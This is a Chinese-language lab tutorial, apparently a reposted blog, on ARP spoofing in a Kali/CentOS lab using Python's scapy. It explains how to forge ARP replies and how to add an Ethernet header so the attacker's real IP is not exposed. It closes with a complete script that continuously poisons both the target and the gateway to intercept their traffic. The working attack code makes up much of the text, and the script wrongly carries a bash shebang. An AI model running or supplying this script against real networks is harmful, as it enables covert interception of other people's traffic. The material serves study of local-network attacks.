1.arp欺骗
arp欺骗是数据链路层的攻击,在数据链路层是通过mac地址来发送报文的,所以需要将网络层的ip对应到mac地址,由于arp协议是基于局域网内主机互相信任的基础上的,如果我们构造并发送了一个arp欺骗包,就可以实现arp欺骗。
2.arp欺骗实验
攻击者:kali,192.168.20.128,29:ff:fe:5a:37:4f
靶机:centos,192.168.20.130,2a:90:fd:63:41:97
网关:192.168.20.254
2.1 构造arp包
- 将靶机ip填写到pdst中,将需要冒充的ip写到psrc中
2.2 发送数据包
sr1代表发送数据包,并且接受第一个返回数据包,可以用show()方法查看返回数据包的内容
2.3 查看路由表
可以看到我们伪造的192.168.20.2的ip地址对应的mac地址确实变成kali的mac地址,但同时路由表中也存在着kali的真实ip,这就意味着同一个mac地址对应到了两个ip地址,很容易被发现arp欺骗
为了搞清楚为什么kali会暴露自己真实的ip地址,用wireshark抓取整个过程的数据包
发现kali在欺骗之前首先先发了一个广播包,找靶机,这里靶机就能获取到kali的真实ip和mac
出现这种情况的原因是我们没有定义ethernet 2帧头,kali就主动发送广播包问谁是靶机,然后带上真实的ip和mac地址,因此要事先定义帧头
3.完善arp欺骗过程
构造数据包如下:
sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(psrc="192.168.20.254",pdst="192.168.20.130",hwdst="2a:90:fd:63:41:97"))
Ether()就是我们定义的帧头
/的做作用是将两个数据包拼凑起来,但数据包必须按照网络的层次排列
send表示只发送数据包,不接收返回,加上p表示数据包是在数据链路层上传输的
发送数据包后看到此次并没有发送kali的真实ip
靶机的路由表中也没有发现kali的ip
4. 编写arp欺骗脚本
编写脚本要注意,arp欺骗是双向的,也就是kali既要欺骗靶机,也要欺骗网关,这样才能让靶机感受不到差别;同时构造arp欺骗包是要加上帧头不被察觉;
代码如下:
#!/bin/bash
from scapy.all import *
import time
import sys
# 构造并发送arp欺骗包的函数
def arp(pdst, psrc):
pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=pdst,psrc=psrc)
sendp(pkt)
return
# 实行arp欺骗的函数
def main():
# 接收命令行的参数
if len(sys.argv)!=2:
print("invalid value")
print("pdst")
sys.exit()
# 拿到的是靶机的ip
pdst = str(sys.argv[1]).strip()
pdst_lst = pdst.split(".")
pdst_lst[3] = "1"
# 下面获取网关的ip
pgateway = ""
for i in pdst_lst:
pgateway = pgateway + i + "."
pgateway = pgateway[0:-1]
print(pgateway)
# 对靶机和网关实行arp欺骗
while True:
try:
arp(pdst,pgateway)
arp(pgateway,pdst)
time.sleep(0.5)
# 键盘按下ctr+c自动停止
except KeyboardInterrupt:
print("over")
break
if __name__ == "__main__":
main()
解释:
from scapy.all import *,导入scapy模块来编写arp欺骗脚本
if len(sys.argv)!=2:,这里是需要运行脚本的时候传入靶机的ip地址作为参数,如果传入的参数个数不对就会退出
脚本中网关的ip是根据传入的靶机的ip自动获取的
arp(pdst,pgateway),arp(pgateway,pdst),这两个函数的调用就实现了对靶机和网关的双向欺骗
版权归原作者 书犹药也 所有, 如有侵权,请联系我们删除。